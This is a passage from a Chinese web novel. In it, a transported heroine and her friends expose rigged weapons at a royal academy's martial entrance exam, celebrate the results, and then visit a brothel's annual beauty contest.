晏无辛连退十几步,直到脚跟抵住身后的柱子,方才停下。
众人都震惊于陆锦澜的力量之大,不约而同的深吸一口气,都替晏无辛紧张起来。此刻的晏无辛看起来慌不择路,她看了看身后的柱子,手脚并用的往上爬。
擂台四周共有四个大柱子,每根都有水桶粗细。晏无辛爬上去,陆锦澜也提着剑蹬上去。
阳光浓烈,众人仰起头眯着眼,只见晏无辛藏在柱后奋力躲避,而陆锦澜剑光凛凛,似招招不留情,剑刃刮在柱子上,巴掌大的木块噼里啪啦往下掉。
这根柱子离考官席最近,落下的木块掉在桌面上,顿时引起一片慌乱。
凌知序稳坐当中,面不改色凝眉细看,陆锦澜招招凶猛,把剑使得跟斧头一样。
可纵然是斧头,脚不沾地身体悬空,只有一条腿勾着柱子,也极难发力,这丫头看着平平无奇,哪来这么大的劲儿?
嗖嗖!陆锦澜追着晏无辛狠踹了几脚,七八个木块飞向考官席。一位考官躲闪不及,一下子被砸晕了过去。
与此同时围观的人群忽然大叫一声,凌知序抬头一看,晏无辛为了躲剑,一个后仰险些跌下来。幸亏她双腿迅速勾住柱子,倒挂着在半空中晃晃悠悠命悬一线。
众人看得心惊胆战,上面又传来嘎巴一声,陆锦澜一个扫腿,面案那么大的木头飞下来,砸到了考官席,把桌上的什么茶杯笔墨全砸得稀碎。砚台飞出去,泼了凌知序一身的墨,连脸上都沾上了墨汁。
几名副考官仓惶退后,声音发抖的提醒:“院长,您快看!”
晏无辛似乎支持不住,整个人迅速下坠。陆锦澜剑尖向下,也跟着滑下来。
凌知序吓得高声大喊:“快敲锣!”
这时人们才注意到,刚刚被砸晕的那位副主考,就是负责敲锣的,她是握着锣槌被抬下去的。当时情况慌乱,无人注意。现在情况更乱,凌知序只好抓起桌上的木块,朝着挂在正中的铜锣掷了出去。
噹!锣声终于响起,所有考官、考生、围观的人群,早就紧张得站了起来。
大家心里都在暗道不妙,锣声太晚了。
人们都知道一个常识,半空中的人是没办法暂停的。
12. 第 12 章
即使锣声响起,二人依然无法控制的急速下落。
千钧一发之际,剑尖却比人先落地。陆锦澜借着剑上弹起的力道,抱住晏无辛用力一翻,两人趔趄几步,终于稳稳站在台上。
数万人的广场出奇的安静,却在一刹那之后爆发出震耳欲聋的声响。
凌知序轻舒一口气,当众宣布:“云州陆锦澜,胜!”
陆锦澜貌似镇定的回到座位上,感激的看向对面的晏无辛。
其实她把晏无辛抡回场上的时候,低声说了一句:“围着柱子打。”
晏无辛顺水推舟,陆锦澜把她抡到柱子旁边,她就转身爬上了柱子。
观赛视角是逆光的,柱子有七八米高,下面本来就看不真切,陆锦澜又故意砍了些木块下来干扰众人的视线,看似她在全力追杀晏无辛,其实是表演赛,当然不是真要她命。
陆锦澜想院长之所以不判她赢,就是因为她俩前面打得太客气了,这回二人换了刺激的打法,全是高难度动作。
陆锦澜有意展示惊人的力量,在柱子顶端七坎八砍的砍了一圈,然后使出全力踢了一脚,这才能踢掉水桶粗的一截圆木,震惊全场。
此刻药效过了,她浑身像泄了气一样,冒着虚汗,脚背隐隐作痛。
凌知序弄了一脸一身的墨汁,下去处理了。主考官一走,考生们明显松弛了不少,开始交头接耳。
台上已经换了新的考生上场,场下观众刚刚看完了一出好戏,过足了眼瘾,都在迫不及待的讨论观后感,台上那两个人偏又打得稀松平常,吸引不了大家的注意力。现场都在闲聊,比茶馆还热闹。
附近的人都在找陆锦澜说话,她瞬间成了热门人物。
“恭喜啊陆同学,今年的录取名额必定有你一个。”
“陆同学,你的剑法跟我所知的各门各派都不像,不知你是在哪学的?”
“我刚在《文考试卷合集》里看到了你的文章,策论写得好,诗也做得好。那首《春江花月夜》堪称一绝,可还有别的诗作吗?”
陆锦澜应接不暇,只好道:“等考试结束,咱们慢慢聊。”
她脚痛得厉害,悄悄脱了鞋,盘起一条腿按揉自己的脚背。
项如蓁凑近些,低声道:“你现在是风云人物,不论今日结果如何,日后人们说起这场盛事,一定会提到你的名字。你得注意你的言行举止,给同学们做个表率。”
陆锦澜无奈:“可我脚疼。”
“忍一忍。”项如蓁捡起鞋给她穿回去,却也忍不住好奇的问:“你是怎么做到的?我自负天生神力,可那么粗的柱子,我绝不可能把它踢断。”
陆锦澜尴尬一笑,“偶然事件,你现在让我踢,我脚断了树都不会断。”
说话间,台上已经分出了胜负,外地考生赢。晏无辛说得没错,她和楚易舒是神京本地生中最能打的。余下的,水准大概和左隋之差不多,有的还不如左隋之。
陆锦澜同情的看了左隋之一眼,这坑娘的匹配机制。
菜鸡互啄,基本都坚持不了多久。一个时辰过去,十组考生比完,全是外地考生赢。
加上陆锦澜,已经够十一人了。后面的考生要想拿到录取名额,不仅要取得胜利,还得展示出大幅度碾压的实力,才能挤掉前面的胜者。
项如蓁的脸色越来越紧张,陆锦澜握着她的手,温声安抚:“不用担心,她们都不是你的对手。等你上了台,一定要把你的力量展示出来,考官们会看到的。”
项如蓁微微点头,台上终于点到了她的名字:“勉州项如蓁,对阵神京凌照人。”
陆锦澜猛地瞪大了眼睛,怎么这么巧?
她焦急的望向对面的晏无辛,晏无辛满脸愕然的摇了摇头,无奈的摊手。
项如蓁倒是神色自若,空手走上擂台,在兵器架上抽出她昨天试的那杆铁枪,从容应战。
凌照人还未登台,先把手里的坤乾游龙戟掷于台上,待戟尖插入台面,她便一个飞身跃到台上,先声夺人的博得了喝彩。
凌照人一身缎面红衣,项如蓁一身粗布黑衣,二人相对而立,一红一黑格外显眼。
锣声一响,二人犹如离弦的利箭,直朝对方扑了上去。铁枪和游龙戟瞬间战到一起,金属摩擦碰撞,发出刺耳的声响。
二人练的都是硬功,力求刚猛。一动起来,身上的衣料都在风中作响。恰逢此时风声呼啸,衣袂翻飞,两个人打出了千军万马的气势。
陆锦澜紧张的观战,左隋之碰了碰她肩膀:“依你看,谁的胜算更大?”
陆锦澜道:“凌照人招式老道,如蓁力量十足,一时看不出胜负,但我对如蓁有信心。”
话音刚落,就听噹一声脆响。
凌照人向下直劈,项如蓁举枪格挡,可她手中的铁枪突然从中断裂,折为两半。
“啊!”众人不由大声惊呼,这是不可能的事情。
虽然有的兵器可以削铁如泥,可铁枪刚刚接触到的位置是戟杆,又没有刃,怎么会断?
陆锦澜眉头紧皱,一个令她毛骨悚然的想法冒了出来,喃喃道:“兵器有问题,有人做了手脚。”
“不可能吧?”身边的考生都不太相信,“这可是全国瞩目的大考,谁敢动手脚?”
兵器骤然损坏,凌照人却并没有停手,项如蓁只好一手执枪头一手执枪杆,一边防守一边后退。
凌照人加紧猛攻,到了兵器架附近,项如蓁立刻抽出一根木棍,反守为攻。
可不出三招,木棍啪一声,又断成了两截。
陆锦澜忍不住了,她站起来抗议:“兵器有问题!”
她早该想到的,如蓁是她们这些外地考生中功夫最强的,昨天露了几手,今天就巧合的匹配到凌照人这样一等一的高手。
别人都是自备兵器,只有如蓁会用考场提供的兵器。偏偏昨天的兵器还好好地,今天不论铁的木的,说断就断,这不是太奇怪了吗?
还有,如果如蓁提前出场,只要取胜即可。偏偏在外地生胜了十一场之后,安排她登场。给她安排最差的出场顺序、最强的对手、最烂的兵器,简直他爹的巧到家了。
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“兵器有问题!”
说话间,项如蓁手中的长矛也折断了。可凌照人根本没有停下的意思,项如蓁只得围绕着兵器架不停地躲闪。
这下连刚刚否认陆锦澜的考生都反应过来了,外地考生齐声大喊:“兵器有问题!兵器有问题!”
副考官拍案道:“大声喧哗扰乱考场者,取消录取资格。”
身边人顿时噤声,陆锦澜怒道:“凭什么?长眼睛的都能看出来,兵器被人做了手脚,为什么不让人说?”
那考官大声斥道:“陆锦澜,别以为你胜了,就可以胡作非为胡说八道,皇家学院不差你一个学生。”
陆锦澜不由冷笑,“一个连公平选拔都做不到的学院,名声再大,也是华而不实的藏污纳垢之地,有什么稀罕?今天不管你怎么威胁我,我也要说。”
不仅要说,她还要让所有人都听见。
陆锦澜怒火中烧,连脚都感觉不到痛了,她跳到凳子上,朝着围观的数万人大声宣讲:“诸位,大家今日亲眼所见,光天化日朗朗坤乾,学院选拔大搞暗箱操作,毫无公平可言。”
副考官大怒:“来人,把陆锦澜叉出去!”
陆锦澜转身一看一群神京本地生朝她跑了过来,晏无辛犹豫了一下,扭头往另一个方向跑了,她身边只有左隋之拉着几个外地生挡在身前。
项如蓁拿着破烂的兵器还在硬撑,陆锦澜也顾不得了,指着台上痛骂:“凌照人,你趁人之危算什么好娘们儿?你勉强赢了项如蓁,也不算光明磊落。”
凌照人忍不住怒道:“胜者为王败者贼,什么磊落不磊落,要你啰嗦?”
“你承认了?大家都听见了,你们一定要将今日的所见所闻传扬出去。皇家学院就是个欺世盗名的破地方。比不过就使阴招,这算什么?凌照人,你胜之不武,你手里的游龙戟都不如男人手里的绣花针。绣花针还能绣花,你只会欺负人。”
这会儿,过来抓她的本地生已经和身边的外地生交上手了。其中不少是刚在台上对打过的,输了的正好怨气未了,过来撒气。
有的外地生本来不想掺和,可是两拨人混在一起,稀里糊涂就撕打上了。拳脚不长眼,大家又都年轻气盛,不相干的人挨了一下,干脆也撸袖子上了。
场面乱到这个程度,陆锦澜豁出去了,嘴里全是煽动性语言,存心要往大了闹。她拼着这破学不上了,也要让凌照人和皇家学院名声扫地。
“什么皇家学院?我看是凌家学院,连男学都不如!”
话音刚落,忽听远处传来一声声若洪钟的断喝:“谁说皇家学院连男学都不如?”
那声音带着十足的威严压迫感拉满,堪比屠宰场喧闹的场子瞬间安静下来,齐刷刷送目过去。
只见凌知序顶着半张被墨染黑的脸大步入场,晏无辛跟在她身后。
见台上还在打,晏无辛急道:“凌照人!院长来了,你还不住手?”
台上两人顿了一下,项如蓁丢掉手中的半截长刀,刚转过身,陆锦澜和晏无辛同时大喊:“小心!”
13. 第 13 章
项如蓁余光瞥到地上的影子,连忙侧身一躲,虽然避开重要部位,可锋利的游龙戟还是在她的手臂上划开一条半尺长的口子,鲜血顿时涌了出来。
噹!锣声恰好响起。凌照人一脸得色,理直气壮道:“锣声刚响,我还以为你要使诈呢。”
“你给我住口!”凌知序半脸铁青半脸乌黑,“谁来告诉我,到底发生了什么事?”
陆锦澜拱手道:“是这么回事……”
“你也给我住口!”凌知序怒道:“你带头闹事,口出狂言,我不听你的一面之词。”
陆锦澜偷偷翻了个白眼,心说:那你随便。
副考官忙道:“请院长听下官一言。”
凌知序垂眸侧目,不满道:“你坐镇考场却把这里搞得一团乱,你的一言就不是一面之词了吗?”
副考官低下头不敢言语,学生中忽走出一人,朗声道:“院长,我可以客观的陈诉事情经过。”
凌知序微微抬眉,“凭什么信你?”
那人恭敬道:“学生左隋之,首阵落败,已经无缘录取。台上是输是赢,都和我没有关系。我昨日才到京城,和大家都不认识,冲突双方与我不相干,我没有任何偏私的理由。再者,在场除了考生考官,还有数万百姓。我若胡说,您回头随便找几个人核对一下,便知真伪。”
凌知序端坐在椅子上,招了招手,“左隋之上前回话。”
趁着这个空档,陆锦澜和晏无辛急忙跳上台,给项如蓁包扎伤口。
晏无辛看着那条长长的口子,眉头紧皱,“伤成这样,你还撑得住吗?”
项如蓁面色惨白的一笑,“我有撑不住的权利吗?”
陆锦澜鼻酸道:“别再说这种话了,什么都没有命重要。这个破学院,到底有什么好的,值得你拼死拼活?输赢有那么重要吗?”
项如蓁看着二人担忧的面孔,眼眶渐渐泛红,“是啊,这暗箱操作的破学院到底有什么好的?”
她笑着看向陆锦澜,“你刚刚说的话我都听见了,我知道,这个地方并没有我想象的那么美好。输赢对我来说,很重要。输给凌照人那样的卑鄙小人,我实在不服。可是,这其实都不是我最在意的。”
“你们顶着极大的压力为我发声,这样的福分是卑鄙小人一辈子都无法拥有的。你们不顾一切坚定的站在我这边,让我觉得我已经赢了。”
她握住陆锦澜和晏无辛的手,“这破学院是没什么好的,可我一想到我的两个朋友在这儿,这儿就成了我最想留下的地方。我向来孤僻,是个无趣又呆板的人,没有交朋友。可是现在,我们算是朋友了,对吗?”
晏无辛揉了揉酸胀的眼睛,笑着调侃:“我还以为我们昨晚就是朋友了。”
陆锦澜噗嗤一笑,“昨晚都大被同眠睡了一晚了,还说这些?我们当然是朋友,不然还能是什么?”
项如蓁笑着点头,“好,你们冒着风险为我争取公平,不就是希望我能留下来吗?我不会让你们白费功夫的,我现在比之前任何时候都更想留在这儿。”
项如蓁的目光瞥向学院门口高大的门头,“这也许是一个有问题的地方,但我们留在这儿,就有解决问题的希望。我们都走了,什么时候能够解决问题?又指望谁来解决问题?如果下一个项如蓁出现,她会那么幸运,遇到下一个陆锦澜和晏无辛吗?”
二人顺着她的目光看过去,一时无言。
凌知序已经听完了左隋之的陈述,对众人高声道:“兵器问题,学院后续会调查。现在,考试继续。项如蓁,你还能不能上场?”
项如蓁起身,笃定的回答:“可以。”
“你有其他兵器吗?”
“没有。”
“用我的。”陆锦澜和晏无辛同时开口。
“还是用我的吧,长兵器你会更好打一些。”晏无辛将凤鸣长刀交到项如蓁的手上。
凌照人一脸得意的回到了台上,陆锦澜和晏无辛还站在项如蓁旁边,看着她手臂上的伤口,迟疑着不肯下场。
项如蓁看着二人担忧的神情笑了笑,“不用担心,你们忘了,我是猎户。血,是猎人的五石散。你们下去,看我轻取这一局。”
陆锦澜和晏无辛回到台下,由于刚刚发生了骚乱,有的考生已经鼻青脸肿。□□也懒得维持秩序了,大家随便混坐,没人管。
两人紧挨着坐下,对视一眼,表情都不轻松。
她们相信项如蓁能赢,但绝对无法轻取。凌照人这个狗东西,实力不可小觑,如蓁还负了伤。此消彼长,这一仗没那么好打。
锣声再次响起,台上的争斗迅速进入到焦土化状态。两人再度交手,眼里都是你死我活的杀意。
现场的气氛陡然变得紧张,因为大家都意识到这是性命攸关的生死局。
台上打得如火如荼,台下的人都不由得暗暗心惊。
“幸好我没有遇上这二人,否则恐怕连家都回不去了。”
“这招太过凶险,换我已经成了刀下亡魂了。”
“你这招才死?换我前面那招就死掉了。”
陆锦澜听着身边人的低语,越发不安。项如蓁大开大合的打法,将力道运用到了极致,丝毫不顾及身上的伤口。止血的药散早就失效,手臂上的白布被迅速染成鲜红。
陆锦澜万分后悔,不该一时冲动兑换了九十九颗大力丸,一下子把今天的兑换量消耗完,现在想急着兑点止血药止疼药,都得等明天。
凌照人也注意到了项如蓁的手臂一直在流血,她不断攻击她的右臂,看着白布变成红布,看着鲜血染红她的整只袖子,看着血珠从她的上臂流到手背,再滴落到台上。
起初凌照人觉得这是她取胜的希望,就算不能立即分出胜负,但耗下去,流干的是项如蓁的血。但渐渐地,她感到前所未有的恐惧。
当她们近距离交手时,浓烈的血腥味渗入鼻尖,打在她身上的力道一招重过一招,凌照人开始觉得毛骨悚然。
这是人吗?人,怎么会感觉不到疼痛?怎么会丝毫没有对死亡的恐惧?她在想什么?她疯了吗?
与项如蓁交手,让凌照人感到窒息的不是她异于常人的力量,而是另一种说不定道不明看不见的东西,那种东西坚定、强大、压迫感十足的笼罩着她,让她透不过气。
砰!凌照人手中的游龙戟骤然被击飞,凤鸣长刀直抵喉管。当冰冷的利刃贴在她的颈脉上,凌照人不由自主的闭上了眼睛。
太快了,一切都在刹那发生。
闭眼的瞬间,她听到有人惊慌的喊快敲锣,但她知道来不及。压着锣声抹了她的脖子,也不用承担罪责。如果是她,她一定这么做。
但,
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项如蓁不是她。
长刀在颈上留下一丝细微的划痕,紧接着手臂一阵剧痛。项如蓁压着锣声,在她的手臂上挑了一道长长的口子,和她受伤的位置一模一样。
全场深吸一口气,凌知序站起来,缓了口气,高声宣布:“勉州项如蓁,胜。”
都说人在成功的那刻会觉得晕眩,项如蓁则是极度清醒的走下台,回到椅子上继续观看选拔。然后在大家都以为她没事的时候,突然晕了过去。
再醒来她发现自己躺在医药坊里,衣衫已经被全部换过,伤口重新包扎,床头还放着一碗参茶。
她刚刚坐起来,一位面目沉稳的中年女子掀开帘子从外面进来,轻声道:“项少娘果然年轻力壮,流了那么多血,只昏睡了一个时辰便醒了。来,先喝口参茶润润喉咙。人参阿胶粥已经熬好,我这就让人拿进来。”
人参阿胶粥?项如蓁忙道:“那要多少钱?我还是不要了。”
女人笑道:“少娘说笑了,都是咱自家的东西,不要钱。”
女人转身出去,不一会儿一个眉眼清俊的男仆进来伺候,项如蓁略一打听,才知道这儿与皇家书院只隔着一条街。
这叫久安堂,全国知名的医药坊老字号。既卖药也行医,在京城就有十几家铺面。这家是京城总店,刚才那位是久安堂的总掌柜平希玉。
项如蓁端着粥,不解道:“我与平掌柜素不相识,她为何说这是自家的东西?”
男仆轻声笑道:“因为久安堂的东主是我家家主,我家家主是云州首富陆今朝,我家少主就是您的好朋友陆锦澜,可不都是自家人吗?”
陆今朝?项如蓁生在偏僻的勉州,也知道这个名字。陆家产业遍布各行各业,富甲一方,谁人不知?
只不过陆是云州的大姓,陆锦澜虽来自云州,身上却毫无富家女儿的骄矜做派,她这才没有过多联想。没想到,她竟真是陆今朝的女儿。
项如蓁忙问:“那你叫什么名字?”
“我叫庆儿,跟着少主从云州来的,少主特意叮嘱我好好照顾您。”
原来昨天陆锦澜去了晏无辛那边,就让洗墨和庆儿自己回客栈。两人一合计,直接跑到久安堂来跟平掌柜说明情况。
少主考试是件大事,平掌柜立即安排她们在店里住下,第二天一大早带上她们二人和几名医工一同到考场内占位置。结果事有不巧,她们虽然占到了前排观看的位置,却是离陆锦澜最远的方向,中间隔着个擂台,一句话都说不上。
当时四处人挤人,平希玉几次想办法挪动,都没能成功。后来看着陆锦澜取胜,也就放下心,想着散场再去会面。结果没一会突然看见陆锦澜站起来煽动全场,那片乱得打起来了。
平希玉吓得带着一群人拼命往那个方向挤,中间不知道和人吵了多少次。她们这个小分队在密集的人群中绕了半场,比台上的人都累,挤得浑身是汗。本来快要放弃了,又听见陆锦澜跳到椅子上喊:“有没有医师?这有人晕倒了。”
平希玉忙高声应道:“医师在这儿!”
可下给她找到机会了,这会儿群众也颇为识趣,纷纷给她们让路。平希玉好不容易冲过去,一把拉住陆锦澜的手,激动得说不出话。
陆锦澜上次见她还是在云州,一时没认出来,尴尬的指着晕倒的项如蓁说:“伤者在那边。”
14. 第 14 章
“少主!可见着您了。小的平希玉,拜见少主。”
陆锦澜这才认出她,连忙把她搀扶起来。
平希玉哽咽道:“云州一别,我一直挂念着您,您刚刚伤着没有?您若是有个好歹,我可没法和老东主交代。”
陆锦澜忙道:“我没事,我这位朋友受了伤,你快给她诊治一下。”
平希玉简单切了下脉,看了看伤口,“还好伤口不严重,只是失血过多,补补气血修养一下就好。咱家医药坊就在一条街外,我这就将人带回去照顾。”
陆锦澜本来也要跟着退场,平希玉劝她,“今日场上发生这么多状况,少主还是留在这儿比较好,以免生变。”
就这么着,项如蓁被平希玉一行人带到了久安堂。项如蓁醒来休息一会儿,感觉身体已无大碍,还是决定再去考场看看。
平希玉自然不放心,带着洗墨、庆儿一起跟过去。
四人到的时候已经考完了,正赶上散场。人乌乌泱泱的往外走,四人逆着人流找人仿佛大海捞针,四脸茫然。
“勉州项如蓁,你伤得不重吧?”
人群中有位大姐叫了她一声,项如蓁看过去,发现压根不认识这人,估计就是围观看热闹的,记住她的名字了。
项如蓁忙拱了拱手,“多谢关怀,已经没事了。”
洗墨抱着试一试的态度,问道:“您看见陆锦澜了吗?”
大姐热心道:“当然看见了,她包了那边的凉茶摊子,正在那儿请人喝凉茶呢。”
四人一听连连道谢,急忙找过去。
其实今天闹了这么一场,陆锦澜想着,应该请各位出手相助的外地考生吃顿饭。但一想到项如蓁受了伤,也没心情张罗,可什么也不做,又显得失礼。
她和晏无辛一合计,晏无辛道:“一会散场先和大家打个招呼,中午便算了。下午看了榜,有了定数,我来请客安排。”
陆锦澜笑道:“我闹的事,怎么也轮不到你请。”
晏无辛眼里闪过一丝心虚,“我有我要请客的理由,回头再跟你说,反正我来安排。”
晏无辛在京郊有个专供游玩的庄子,据她自己说是景色宜人,那里也有人伺候,她一会就派叶游先过去准备。下午大家看了榜,便一同到庄子里去游玩几日。
陆锦澜笑了笑,一想也好,自己毕竟不是本地人,一时招待十几个同学,也不知能够安排妥当。
于是散场后,二人便把这些外地考生叫住。烈日下苦坐了一上午,大家都是口干舌燥累极了。
陆锦澜包了个凉茶摊子,一边请大家喝茶,一边说些感谢的话。
“今日多亏众位英雌出手帮忙,在下感激不尽。论理,这就该安排酒席,可如蓁还不知道怎么样,我和无辛要先过去看看。大家一会儿回去收拾好包袱,等下午看过榜,咱们一起到无辛的庄子上,开怀畅饮,玩乐几日,如何?”
见众人有些犹豫,晏无辛忙道:“我那庄子上没有长辈,地方也宽敞,各位到了那儿就和自己家一样。吃的住的,我全包了。各位若愿意游玩神京,我便着人安排。
咱们做不做同窗不要紧,认识就是缘分。今日大家仗义出手,一同抗议不公,足见大家都是同道中人英雌豪杰。你们帮锦澜帮如蓁就是帮我,晏某愿意结交各位,还请赏光。”
话说到这个地步,众人见她二人是真心招待,都道:“那就麻烦两位了,放榜时见。”
她们刚走,项如蓁、平希玉等人找了过来。见到项如蓁没事,二人十分高兴,平希玉忙道:“少主是否要宴请那些外地考生?不妨交给我来安排。”
陆锦澜把她和晏无辛的计划说了一下,平希玉赞许道:“如此甚好。我家少主初到京城,身边能有晏少娘、项少娘这样重情重义的朋友相伴,老东主身在云州也会感到心安。我已在望月楼订下酒席,请少主和两位少娘移步。”
陆锦澜在云州时就听她娘提起过平希玉,陆今朝说平希玉本来是穷苦人家的女儿。陆今朝认识她的时候,她还是个十来岁的小孩儿,没读几年书人却格外机灵。
那时平希玉和母亲在路边支起一个小茶摊维持生计,陆今朝偶然路过,急着写封信,便在她们的茶摊要了杯茶,坐下写信。
粗茶难喝,不是富人习惯的味道。陆今朝尝了一口,便顺手将茶水用来洗笔。旁边几位茶客瞧见,立刻发出了不悦的啧啧声。
平希玉打量着这位衣着华贵的客人,温声上前:“客官,这茶碗是给人入口的。”
陆今朝彼时年轻气盛,态度颇为傲慢,取出一锭银子,“我是云州的陆今朝,这个当是买下这只茶碗的。”
平希玉一点也不生气,还笑吟吟高声对众人道:“云州陆今朝,买下茶碗一只。”
她转身又问陆今朝,“这茶碗您不带走吧?”
陆今朝摇了摇头,她又道:“那我摔碎了,放在案上摆着,行吗?”
陆今朝好奇,“为什么?”
她道:“这儿都是常客,大家看见您涮笔,我若洗了放回去,她们以后一定会怀疑自己用的就是涮笔的那只茶碗。我当众摔了,让大家心安。再摆起来,别人好奇自然会问,我也好说出这个典故。陆今朝光顾过的茶摊,说不定有人想尝尝是什么味道。”
陆今朝笑了笑,“你很会做生意,跟我走吧。”
转眼间二十余年过去,平希玉已经从当年那个小女孩变成了独挡一方的掌柜。她是陆今朝的得力心腹,不仅执掌久安堂在京城的所有铺面,陆家在京城的其他产业都由她每月查问清点,统一汇报给陆今朝。
陆今朝对平希玉有再造之恩,所以,平希玉对陆锦澜比自家孩子还上心。
这位大少娘一时意气跑到她所在的地界,只怕接下来的三年,她都要提心吊胆,少了根头发她都得向云州请罪。
席间,平希玉说起寿宴那天的事,晏无辛和项如蓁颇为震惊,“你是逃婚出来的?”
陆锦澜:“别提了,我娘给我找了一个奇葩。你们要是我,你们也得逃。”
平希玉忙道
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:“我听东主说宋将军的独子温和有礼,与您家世也相当,很适合做您的正夫。”
“拉倒吧!”陆锦澜想起来那胖瘦仙童就反胃,“你喜欢你让你女儿娶,反正我不要。对了,我这一走,我娘一定很生气吧?”
平希玉笑着摇头,“以我对老东家的了解,她只是看似很生气,骂了几句,心里不知道多高兴呢。席间还说起她当年在和别人的订婚宴上,把你爹带回来的事儿。”
“啊?”三人听到长辈的陈年狗血八卦,差点惊掉了下巴。
平希玉却不肯细说,只道:“她心里一定高兴,因为你很像她。就算你不顾一切的跑了,她还是在众位宾客面前,正式给您办了立少主仪式。”
陆锦澜:“我都不在,她怎么立啊?”
“您不是属猪吗?邹管家找了只小猪,让锦淇小少娘抱着拜了祖先,接了少主令。”
大家愣了一下,一阵爆笑。
*
就在她们欢笑的时候,皇家学院院长凌知序会同礼部尚书,正在做最后的定夺。
礼部尚书拿着项如蓁的名牌,“这个学生毫无背景,日后入了官场,也做不成事,确定要吗?”
凌知序道:“此人武试时出了些波折,她若不入选,只怕不能服众。”
礼部尚书点了点头,将项如蓁的名牌交给学监,“那便入选吧。我听说陆锦澜武试时表现惊人,比项如蓁还好,凌院长要将她定为第一名吗?”
凌知序长叹一声,颇为头疼,“此人有些古怪,听闻她在云州时成绩一直倒数,结业时却莫名考了个状元。此次武试也是,没听说她擅长武艺,倒是听说她颇为风流,也不知怎么超常发挥力压了全场。她能做第一名吗?我看她是带头闹事第一名。”
礼部尚书笑道:“这样的人,不正适合做第一名吗?何况此人的试卷皇上赞不绝口,亲自画了圈的,总不能不录她吧?”
凌知序沉吟片刻,有了决断。
*
榜单还未张贴,好信儿的人已经围在学院门口等着了。
三人倒是不着急,睡了个午觉,才悠闲的去往学院。
陆锦澜好好地走在路上,系统突然叮了一声。
「恭喜解锁扬名立万成就,生命值+10000」
看来是放榜了,陆锦澜骄傲的撇了撇嘴,立刻对项如蓁和晏无辛道:“我有预感,我一定入选了,而且还是个人人都讨论的名次。”
项如蓁老实的回答:“那当然,按照今天场上的表现,你第一我第二。不过我现在没那么乐观,毕竟这里面的事情很复杂,能录取就可以了。”
陆锦澜知道自己几斤几两,场上超常发挥全是兴奋剂的作用,她作为一个药物选手,也不好意思直说。只道:“我觉得如蓁应该排第一,余下那些水准都在我之下,她们凭什么排到我前面去?”
晏无辛扬着下巴一脸骄傲,“就是,要是把你们排在后面,咱就去找院长要个说法。”
三人说笑着挤到榜前,瞬间傻了眼。
15. 第 15 章
第一名是项如蓁,第二名却不是陆锦澜。
三人从上往下找,第十一名的位置终于出现了陆锦澜的名字。后面还标注着一行小字:「该生考场闹事,影响恶劣,故以最后一名录取,以示惩戒。」
陆锦澜磨了磨牙,这榜排得真让人无话可说。你说不公平吧,人家说了事出有因。你说公平吧,前面一堆不如自己的。她努力了一溜十三招,又把自己搞成倒数第一了。
左隋之用力拍了拍她的肩膀,“锦澜,你可一定要挺住啊。”
陆锦澜故作潇洒道:“这有什么?不就是最后一名吗?反正考上了,我不在意。隋之,你也看开点,此处不留娘,自有留娘处。”
左隋之:“我是能看得开的,毕竟没什么人讨论我。但是你就……我听说刚有几位说书人看了榜,已经回去写你的段子了。”
噫!怪不得触发了扬名立万成就呢。
说书人那张嘴添枝加叶一传,全京城都知道她的事迹了。
陆锦澜无奈叹了口气,“事已至此,我也没有办法。走自己的路,让别人说去吧。”
项如蓁和晏无辛齐齐竖起大拇指,“姐妹儿,够豁达!”
陆锦澜呵呵一笑,该玩还得玩。她跟着大家一起上了马车,直奔晏无辛郊外的庄子。
三天后入学,这三天够大家撒欢儿玩儿的。
十九个外地考生加上晏无辛这个本地人,二十个少年人聚在一起,热闹极了。
第一天吟诗喝酒谈天说地纵马狂奔,第二天畅游神京结伴出游。别人兴致勃勃,可这些传统项目晏无辛从小玩到大,早就玩腻了。到了第二天晚上,她琢磨着玩点儿花活。
*
陆锦澜洗了澡,正打算在系统里挂上课准备睡觉,晏无辛敲门进来。
“换身漂亮衣服,本少娘带你去个好地方。”
陆锦澜还以为是什么观星捕萤的活动,不疑有他,换好衣服就上了马车。等车动了,才奇道:“不叫上如蓁吗?”
晏无辛:“这事儿能叫如蓁吗?她开口圣人曰色即是空,闭口圣人云空即是色。昨天还劝我把那些应子都遣散了,娶个正夫好好过日子。这种事儿,叫她她也不会来,还得把我训一顿。”
陆锦澜越听越不对劲,“咱到底要去哪儿啊?”
“逢春楼啊,今晚逢春楼举办一年一度的花郎大选。你我乃是京中数一数二的风流人物,论赏鉴男色,谁能比得上咱们?我们若不去,那些庸碌之辈肤浅之徒能选出什么好东西?”
晏无辛说这话的时候眼底闪过骄傲的华彩,十分自信。
陆锦澜却莫名有些抗拒,“那个……我没带钱,还是算了吧。”
“哎呀我带了,今晚我请。”
“不是,这不是请不请的事儿……”
马车到了逢春楼门口,晏无辛还在苦劝:“咱就进去看一眼,没你喜欢的,咱转身就出来。”
陆锦澜刚想说什么,系统弹出了新提示。
「叮!恭喜宿主触发新任务——逛青楼。」
得了,这下不用抗拒了。陆锦澜认命的理了理衣衫,“好,进去看看。”
看着陆锦澜大步向前的背影,晏无辛勾着嘴角啧了一声,“你说你这人,就爱假正经。”
*
今晚逢春楼高朋满座贵客如云,丝竹管弦觥筹交错,热闹非常。即便如此,二人一入场还是引起了一阵骚动。
“这是谁家少娘?少年意气衣履风流,真是好气度!”
两人往那儿一站,老板夫立刻满脸堆笑的迎上来,仿佛很熟络似的说道:“两位贵客怎么才来?雅座都满了。小二,快看看哪里还有位置。”
陆锦澜闻言忙低声对晏无辛道:“没位置就算了,咱们现在也算小有名气,万一给人看见……”
她的意思是给人看见出入青楼有损清誉,没想到晏无辛会错了意。
她以为陆锦澜嫌待遇不好,当下便故意吵嚷起来,一脚踩在凳子上,高声道:“京城第一才女光临捧场,你竟如此慢待?老板夫,你到底会不会做生意?”
此话一出,人群忽然安静,齐刷刷朝她们看过来,看得陆锦澜浑身不自在。
老板夫愣了一下,顿时转惊为喜,“难道……您就是今科第一风流才女陆锦澜?”
晏无辛甩开折扇摇了摇,“在下姓晏。”
老板夫瞪大了眼睛,“您是晏无辛?”
这回轮到晏无辛愣住了,“我可是第一次来你们家,你认识我?”
老板夫笑道:“晏无辛、项如蓁,将进酒,杯莫停。这《将进酒》的诗稿,还是从您晏府上传出来的,如今京城里三岁的孩子都会背了。您几位又在考场大显身手,为朋友义薄云天好一番作为。这等美谈街头巷尾人人称诵,谁人不知?你们是一夜之间声名大噪的少年英豪,嬅国上下不知有多少男儿为之倾倒。万万想不到,二位竟肯贵步临贱地,我这小小逢春楼能得二位光顾,何其有幸。”
老板夫一边说着一边拉住陆锦澜的袖子,生怕她走似的。
